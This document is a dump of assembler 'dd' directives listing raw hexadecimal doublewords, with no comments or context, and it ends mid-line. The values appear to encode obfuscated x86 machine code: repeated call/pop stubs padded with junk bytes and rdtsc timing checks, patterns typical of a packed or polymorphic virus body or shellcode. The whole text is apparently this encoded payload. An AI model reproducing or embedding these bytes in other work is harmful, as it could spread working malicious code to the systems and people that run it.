dd 4244481h, 17h, 17C35040h, 0F93F79DEh, 9D89006Ah, 5E23071h dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0B81B08C3h, 0D057171Ch, 950952E3h dd 5E20B65h, 8C6B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0DF81F65Bh, 1DFDD9ADh dd 22898589h, 9D8B05E2h, 5E21DC1h, 6AFCE183h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0E843C350h, 0BCDC2A6h, 820FFC35h, 6, 8119D0Bh, 0B805E2h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 716AC350h, 4733C637h, 0B5896042h dd 5E21781h, 0BA61h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0C2A847C3h, 0F26093AFh dd 89B1BCA5h, 0E21D41BDh, 85BF6605h, 0C233AD9Fh, 0D003E8D1h dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 6C31E97Fh, 0AE9FCh, 0D7260000h, 0C23DCB67h dd 0D0D137B2h, 8B663BB7h, 880DFEh, 0BD8B0000h, 5E20A51h dd 0BE9958Bh, 12E905E2h, 2A000000h, 0E1A6190Dh, 16AF1F4Fh dd 0C39EE607h, 0F444D837h, 618D8B0Ch, 0E905E207h, 0Ch dd 0A6911C32h, 0F8C69AE9h, 1E3A2AF8h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 25BC19C3h, 0E3816654h dd 81661CCAh, 837104EBh, 0E20D79BDh, 840F0005h, 5Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9EC35545h, 0CD4D867h dd 0B8E03Ah, 0F000000h, 8D8DFFB7h, 5E24C42h, 0FF5EB7F5h dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0D0E24F8Eh, 4D9D8BC4h, 8305E209h, 0E21B55BDh dd 840F0005h, 4A9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0BAC35141h, 506430B0h, 0F87EBE87h, 7E8h dd 0B9A71D00h, 2587E1Eh, 0E9F38166h, 0BD835F0Ch, 5E21B55h dd 81840F01h, 6A000004h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 4349C351h, 7BF963DBh dd 1B55BD83h, 0F0305E2h, 41D86h, 75BB6600h, 8D096065h dd 5E2003Dh, 51D98C66h, 299D8B57h, 5B05E231h, 4E1805Fh dd 171D9D8Bh, 0C90A05E2h, 16D840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 294E5CC3h dd 0E23315B5h, 1D858B05h, 6A05E224h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5097C353h dd 35FFBB70h, 8533749Fh, 5E22AA9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 9C35545h, 4F8EC480h, 0EE8E2h dd 0C0560000h, 894E0F32h, 0D57CA95h, 97312284h, 0BF5BDA8Bh dd 36AB8A40h, 0FB8B6690h, 2840F50h, 8B000000h, 6A90F9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0E30EEEC3h, 0CC04DF81h, 0BE86093h, 3B000000h, 0E9AC939Bh dd 0C2AB1250h, 8E0F0B60h, 6, 0BC1BD29h, 6A5B05E2h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0EA613DF8h, 0A636EBAFh, 18819529h, 858905E2h, 5E21DEDh dd 4E8h, 1F03FF00h, 5E85000h, 48000000h, 9687386Eh, 24448B5Bh dd 50BB6604h, 0F008BDAh, 284h, 89FA8B00h, 58042444h, 1F61BD8Bh dd 29BB05E2h, 0FF726507h, 0E2083995h, 7D9D0105h, 8905E207h dd 0E5BB9D85h, 38D0F05h, 0F000000h, 0FCE9DBBFh, 53000001h dd 0EB9BD8Bh, 8B5F05E2h, 0E5BB9585h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFF9CFEDh dd 52CB80D5h, 308DB529h, 0C705E2h, 18h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 0FBC35040h, 0B5290C93h dd 5E21775h, 0BB99B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 375724C3h, 0BFC54C5Ch dd 5B33E927h, 0F9858Bh, 6A05E2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 2C067CC3h, 91817703h dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 77FDA5C3h, 4E005C4Bh, 8B018F74h, 0E2241D85h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 469EF312h, 899D8BF5h, 8905E215h, 9E90446h dd 4000000h, 8C0252D9h, 0B0C6A2DAh, 0AE950h, 0A1A70000h dd 0BA526115h, 0A2F7A24h, 0E9243489h, 0Dh, 0E0DA5A7Dh dd 0FC9EE942h, 0E83084ABh, 95B5FF0Dh, 6A05E5BBh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0B1F5C350h, 98E9C431h, 6C2BED68h, 81FDB397h, 0D8122404h dd 6A68B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 8EB9B7C3h, 8DFBD76Ah, 0E5BB9D85h, 0FAB70F05h dd 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 64E62C3h, 79C0E39Eh, 8D297F39h dd 5E2010Dh, 83995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0CB6F12C3h, 0E7E38060h dd 145D8589h, 616105E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 75C35646h, 8E97Eh, 0BAB40000h, 99E95736h dd 0BD895934h, 5E222C9h, 1B5585C7h, 305E2h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0A6A076C3h, 0A58CE38Ah, 9DBD8396h, 5E5BBh, 28840Fh dd 9D8B0000h, 5E21E4Dh, 38E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h dd 0C3534300h, 3050130Bh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0B5BD8BC0h, 8305E20Bh, 0E21B55BDh dd 850F0305h, 474h, 83EDDF80h, 0E5BB9DBDh, 840F0005h, 464h dd 0FF5FF557h, 0E5BB9DB5h, 95FFF505h, 5E2172Dh, 2C09BD8Bh dd 0B58B05E2h, 5E5BB91h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 71C35646h, 0C7B8D9FAh, 1000106h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0C0CFBE66h, 2850Fh, 9DB30000h, 0D46EBB50h, 34893AA7h dd 0F9BF0F24h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9FE34BC3h dd 0FFFA6720h, 830FE45Ah, 6, 18999D8Bh, 95FF05E2h, 5E22BD1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8DC35747h dd 52448E6Bh, 8B52999Fh, 0E5BB91B5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E1AA0098h dd 0BD2BABABh, 5E20471h, 12E9h, 94A61200h, 0DEDC176Bh dd 0B995610h, 9C129301h, 8BF08CA0h, 0E210DD85h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 510994CCh, 186C6D00h, 0C48689h, 8B660000h, 0E9958BF9h dd 6A05E20Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 91ABC356h, 2B50985Bh, 9531FBFAh dd 5E21E69h, 83D9B70Fh, 6A04C2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0C251DBC3h, 0D6B6EAFEh dd 0DA8B6686h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 7A7FC353h, 164C77E8h dd 0E4D8D89h, 0BF6605E2h, 858D2777h, 5E5CE5Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9C35545h, 0DE8AB2A9h dd 0B88689h, 85310000h, 5E20C4Dh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 697C65C3h dd 0F132C76h, 0B5FFD8BFh, 5E5BB9Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0AAC35545h, 0F814F799h, 8D899006h dd 5E20B89h, 14E995FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 2B9308C3h, 0BD8BADBFh dd 5E2046Dh, 8B666096h, 565250CFh, 0E9310F59h, 8, 8C18098Dh dd 0B6DE4A48h, 5061585Ah, 76BB6650h, 0FF965B0Eh, 0E5BB9DB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 67E247Eh, 0E9E3224Eh, 12h, 59034EA9h, 904CB9E5h dd 0FBAAB2A7h, 0BE2C33E5h, 8B0FD6B5h, 0Ch, 6880Fh, 9D890000h dd 5E22199h, 2D2195FFh, 8E905E2h, 0C3000000h, 0DEDAA05Ah dd 83FFDC86h, 0E20089BDh, 840F0005h, 33h, 24C9BD8Bh, 0BF6605E2h dd 895043A9h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0FEB712C3h, 0D618A385h, 0FFF846A0h dd 0E5BB9DB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0E62BCC50h, 302468FAh dd 5E941C8h, 58000000h, 37918F84h, 22058589h, 95FF05E2h dd 5E20415h, 6099D23h, 8C0F05E2h, 15h, 10E9h, 0FF0CE700h dd 104653BCh, 99B9B82Eh, 0A5DE2B64h, 9DB5FF10h, 6A05E5BBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 3A64C356h, 0E9EAD088h, 12h, 53DABFA2h, 675D33C4h dd 0B8BC3651h, 3EB02807h, 95FF4002h, 5E20A59h, 6B57BB66h dd 24CDBD83h, 0F0205E2h, 3B84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1D3AC373h dd 0FD71108Fh, 858BF12Bh, 5E21F35h, 1619D89h, 0C605E2h dd 1830F00h, 0F5000000h, 0CF985C7h, 5E2h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C891E6C3h, 0FFF32DE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 14EFFE41h dd 2E6E86D0h, 8B66F4EEh, 60C18BFEh, 12E857h, 499D0000h dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 0B589585Bh dd 5E20E69h, 91858D61h, 8905E20Eh, 0E20545BDh, 5E85005h dd 4F000000h, 0A8019E74h, 5BDE8B66h, 6A240489h, 0DD9D8B00h dd 6A05E204h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0EE229B7Ch, 8DFABF0Fh, 0E6CDFC85h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 49CFBD9Ch, 0EE94E23h, 0 dd 0A8993585h, 1BDE69B4h, 4F431D26h, 8E85141h, 0F0000000h dd 0F89DE22Ah, 0E9E99B19h, 8, 78B14A3Dh, 52189F4Bh, 0C0835B5Bh dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 66784338h, 8B66DA8Bh, 0B5BB50FBh, 894CD403h dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0A5C05FC3h, 0B5E78AC2h, 6ADA8B66h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 86AE89E9h, 0ED24832Ch, 95FF006Ah, 5E21E2Dh, 16A5BD8Bh dd 8D8D05E2h, 5E59D80h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 67C35242h, 0F88ADF8Bh, 14870Fh, 8B0F0000h dd 0Eh, 9E9h, 4EA3400h, 0C73D6E67h, 0D1FFEF2Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A4C35141h, 0F957C6E3h dd 29FE8B66h, 0E21A75BDh, 0B9BD8305h, 105E200h, 61850Fh dd 0CBF0000h, 6A0A7E5Ah, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 714D8363h, 50FC8A90h dd 51BD0390h, 0FF05E214h, 0E214E995h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0E783DD74h, 6CCC8354h, 69BD8909h, 0E905E205h, 0E0Bh dd 0E8h, 0ED815D00h, 5E6CE06h, 0B501C5B3h, 5E21D81h, 8E9E858Dh dd 6A05E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0AACDFBC3h, 1CB390F8h, 0FF649050h, 35h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0D2808702h, 0DA9290B1h, 0BD03FFA8h, 5E22A99h, 258964h dd 0F000000h, 82h, 2985FF00h, 6A05E223h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 758C355h dd 59E09788h, 0BE90D54h, 8F000000h, 134B0CB3h, 2BEA454Eh dd 0FF6AEA74h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 21C35040h, 21A99589h, 0BD0B05E2h, 5E21911h, 3249B5FFh dd 9B305E2h, 189D95FFh, 0F5E905E2h, 33000000h, 0E22AADBDh dd 0F00B005h, 68Ch, 2D850100h, 105E209h, 0E21D498Dh, 8970E605h dd 0E21001BDh, 8171E405h, 0F4F058C7h, 0F613C01h, 0C383h dd 68B0F00h, 8B000000h, 0E217F9BDh, 0C8B60F05h, 1425BD89h dd 8B6005E2h, 0E2243D85h, 0BA61FC05h, 6, 0BB66C18Bh, 0E8C1E20Ah dd 0E2F76604h, 0B8665160h, 0F95A8DCEh, 66C82B61h, 8BC90BBBh dd 0F9BF0FD1h, 1D5D8589h, 75E905E2h, 8B000000h, 885h, 0C083F900h dd 0BD9D2B07h, 0F05E217h, 68Bh, 0BD8D0900h, 8305E213h dd 0D03B00C0h, 0B830Fh, 0BD890000h, 5E20109h, 43E9h, 0FF8D8B00h dd 66FFFFFFh, 3989EF81h, 0F01E183h, 2F84h, 83DF8B00h, 0FFFFFFA5h dd 11E9FEFFh, 0DC000000h, 5037AB0Dh, 689A5350h, 0B86936C4h dd 52F57A2Ah, 89589h, 81660000h, 0E93B30DFh, 0 dd 42E5B58Dh, 0E85205E6h, 6, 2F74AEC7h, 8C0F7164h, 0 dd 6A5F5Fh, 331D9D01h, 95FF05E2h, 5E20AB9h, 21CD9D8Bh dd 7DB905E2h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0D7C7C355h, 0D7F2CA0Eh dd 0F105A13h, 28Fh, 83DF8B00h, 9D8BFCE1h, 5E21B49h, 8B60FCF9h dd 0E213E585h, 1DB58905h, 6105E209h, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 9CCA58B6h, 0CBB66F8h, 0BA52h, 0BD8B0000h, 5E22C7Dh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 33259D8Bh, 6A05E2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0A6EEAC3h, 57FEF9ECh, 0EE9h, 6F1F0F00h, 0D75696BEh dd 416B5ED7h, 0D78AC94h, 88h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0B7C35242h, 1CBBD64Ch, 0E902D5FEh dd 0Bh, 57A954C5h, 2C5908E2h, 8BC7667Ch, 0E20BE995h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8B66B5DBh, 0A1B589D9h, 2305E226h, 0E221419Dh, 618D8B05h dd 0FC05E207h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 15EAC7C3h, 3D66021Ch, 0BF68030Fh, 420B90B4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h dd 0F04E443Ah, 17454D8Fh, 12E8h, 82A62800h, 87C1BD66h dd 0DDAB43D9h, 0A9E947A0h, 0E9793252h, 14h, 0BE8D56DCh dd 0AAB8E9A4h, 438E7049h, 0B17624F6h, 0DE62DACCh, 59B5895Fh dd 8305E207h, 0E20D79BDh, 840F0005h, 5Fh, 0D05BD8Bh, 0B805E2h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0F959C351h, 4C428D8Dh, 6A05E2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 29D191C3h, 0E2233585h, 0FE1FF05h, 684h, 0FD953100h dd 8305E216h, 0E21B55BDh, 840F0005h, 43Dh, 0D8D8501h, 0BD8305E2h dd 5E21B55h, 45840F01h, 0E9000004h, 7, 3BA195F6h, 83FECFBCh dd 0E21B55BDh, 860F0305h, 3F6h, 0E719D89h, 8B6605E2h, 9D8B60DEh dd 5E219B9h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0D295C351h, 0E3801834h dd 4E18027h, 8C1BD8Bh, 0C90A05E2h, 15F840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 1B8E6C3h, 122D1902h, 8B6B94A6h, 0E2241D85h, 0BDBD2B05h dd 3305E21Fh, 0E22AA985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D1FA393Ah dd 0CB81D41Dh, 7E813E20h, 0FA8B6690h, 0BD019050h, 5E22621h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0A5EE41C3h, 0FBA3FA0h, 66F91446h, 0E85B7BBBh dd 4, 1F03FFh, 11E9h, 27975500h, 0D3E278E2h, 1289C5FDh dd 48FE304Ah, 0F50C71Ch, 58Ah, 190FBF00h, 448B4B29h, 8B0424h dd 6622BF66h, 4244489h, 52506060h, 585A310Fh, 0DE961h dd 98960000h, 0B11726C5h, 69FCA4A3h, 616BF2F6h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 95FFAD1Fh, 5E20839h, 0B75BD8Bh, 858905E2h, 5E5BB9Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 50C35545h dd 1B6E9B8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0BAD763C3h, 36BF6677h, 95858BA4h dd 0F05E5BBh, 18Fh, 0C7F800h, 18h, 21C78166h, 99B58BBFh dd 6605E5BBh, 8B45FFBBh, 0E200F985h, 0FABF0F05h, 9D8B0689h dd 5E22AC5h, 241D858Bh, 6A05E2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 1C2C79C3h, 0CB9C6B8Bh dd 8B4477D0h, 0E229B59Dh, 8B666005h, 468961F2h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0BF414413h, 81663D63h, 1C9CCC7h, 0E20CEDB5h, 52609605h dd 665F5E51h, 6198A8BAh, 58F0F50h, 0BB000000h, 4A363B53h dd 0F9BD8B96h, 0FF05E221h, 0E5BB95B5h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 4E8A9h, 3FF0000h, 810F001Fh, 2, 0B350D98Bh, 24448B29h dd 7E804h, 9EB70000h, 583849E2h, 525060ECh, 585A310Fh dd 8B5F61h, 448966B3h, 0BF660424h, 8B58EC84h, 0E22B15BDh dd 0D7816605h, 858D3223h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 8EC35343h, 0BD8B9371h, 5E204DDh dd 2ABB6690h, 810F50EAh, 0Ah, 48C0Fh, 0BB660000h, 31905EB6h dd 0E231058Dh, 3995FF05h, 6A05E208h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 6E39C350h dd 9DBD23DFh, 6605E20Ch, 0D17EEF81h, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 834CF2D1h dd 0D0919E04h, 8F0FAE9Dh, 1, 5585C7F5h, 305E21Bh, 0E9000000h dd 14h, 7B252DEAh, 0CA3A3E18h, 0E076F566h, 84A1144Eh, 0E873B2C6h dd 0BB9DBD83h, 0F0005E5h, 6184h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1B635D57h dd 0E96D5F35h, 0Dh, 9218DF5Ch, 0E19ED492h, 0D518B8D7h dd 43E97Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 2D359C3h, 699D8BC3h, 0F05E22Ah dd 3050DEBFh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0B3A5B141h, 56006ADCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 20AEFBC5h dd 86646E9Ch, 14E8h, 0ABA8F600h, 0ED302F40h, 6F7AB4Dh dd 0CD8588A5h, 0D6586284h, 7D9D89E0h, 5B05E20Dh, 1B55BD83h dd 0F0305E2h, 48385h, 82BF5300h, 5F622F56h, 0BB9DBD83h dd 0F0005E5h, 46F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0B5FFDBE3h, 5E5BB9Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8BC35040h dd 0B70F767Bh, 95FFF5FAh, 5E2172Dh, 8E9h, 5FCCA400h, 7567713Ah dd 91B58BECh, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 50A1C352h, 0E85D579Ah dd 6, 1A41F9F9h, 5FF9ED7Fh, 106C7h, 6A0001h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0A6B58EC3h, 64CDE575h, 96F8B70Fh, 310F5250h, 5BFE8A53h dd 0E850585Ah, 5, 0FC026216h, 68A0F2Fh, 50000000h, 5A310F52h dd 8B965F58h, 0E20069BDh, 9DB5FF05h, 8905E5BBh, 0E20C218Dh dd 0D195FF05h, 6A05E22Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 9286C355h, 1BEBE2A0h dd 0E18D297Dh, 8B05E20Bh, 0E5BB91B5h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 10E92D01h, 81000000h, 0EE814A2Dh, 0FDAD48E5h, 3DB6C30Fh dd 8B8E33DFh, 0E210DD85h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 9A49C411h dd 0F8D5ECA6h, 0C4868961h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 9E9EC350h dd 14E8h, 2EB2B00h, 0E944FBEBh, 0E156C18h, 4E315B18h, 0ACF4A49Bh dd 459D8B58h, 5B05E21Bh, 0BE9958Bh, 8C0F05E2h, 5, 409711BFh dd 4C28327h, 68C0Fh, 85290000h, 5E21481h, 6A205089h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0E437C351h, 8E915EBh, 0B3000000h, 0AFCBA9C0h, 0BFD20702h dd 78F643Eh, 0CE5B858Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 8A6316C3h, 89C5891Eh dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 51E58183h, 85897AA4h, 5E21819h, 840F006Ah dd 6, 21F9BD31h, 0B5FF05E2h, 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 62C35242h, 392C44D0h, 0F5BF957h dd 1889h, 13E900h, 936C0000h, 0B2A13AAFh, 2538AC54h, 119882D8h dd 773E1F58h, 0E995FFD2h, 8B05E214h, 0E22C09BDh, 52509605h dd 0D74705BBh, 66310F24h, 585ADA8Bh, 6E86050h, 0F6000000h dd 0FC5D38Ah, 0A3D6BE9Bh, 0E95B0CA6h, 8, 0AACDFB92h, 0CC2BC28Ch dd 0BF0F9661h, 9DB5FFFAh, 3105E5BBh, 0E205359Dh, 2195FF05h dd 8B05E22Dh, 89BD83FBh, 5E200h, 36840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0A19FAAC3h, 59E41Dh, 669602A5h, 50F22EBBh, 906E44BFh dd 0BD8B964Ch, 5E21101h, 0BB9DB5FFh, 0BD8905E5h, 5E21D1Dh dd 41595FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 272C6AC3h, 89B7AC61h, 0E20AF59Dh dd 652BB05h, 0B5FF49C5h, 5E5BB9Dh, 6870Fh, 0BD890000h dd 5E22499h, 0A5995FFh, 35705E2h, 0E207419Dh, 0BD835B05h dd 5E224CDh, 84840F02h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3C29C357h dd 0B53E6D6Ah, 0A19D2356h, 8B05E223h, 0E21F3585h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0F181D7F0h, 8A4C0ACEh, 0C6FCh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 8BC35343h, 2AB5BACDh, 0E1958B60h dd 905E208h, 0E21731BDh, 0C7F56105h, 0E20CF985h, 5, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66F56BC2h, 0BA0CEF81h, 0FFF2EDE9h, 6840FFFh, 89000000h dd 0E21B3195h, 6AC18B05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 4A3DC352h, 11E8h, 969FA900h dd 5EDEE245h, 6CCEBB2Ch, 0DDCCE273h, 8D5FA7ABh, 0E20E9185h dd 68B0F05h, 31000000h, 0E22CA18Dh, 8B669005h, 8B6050FEh dd 515250CEh, 66310F59h, 585ACE8Bh, 6A9061h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8CC815C3h dd 6AB918h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 44C35747h, 0F5F11601h, 919D23A7h, 6A05E21Eh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B5897EAAh, 5E22201h, 11E9h, 56912C00h, 0C2AAE3E8h dd 791D5429h, 335805BCh, 858DE111h, 5E6DE46h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 69C35141h, 97C560Dh dd 0E208A585h, 5C08305h, 64B5B1BFh, 11E89003h, 29000000h dd 9F761A8Eh, 158139Dh, 21EA1BA2h, 0FFB531B0h, 505FF4B7h dd 28A0Fh, 0FDB70000h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 62880C82h, 2DFF0374h dd 6A006AA8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 5528C352h, 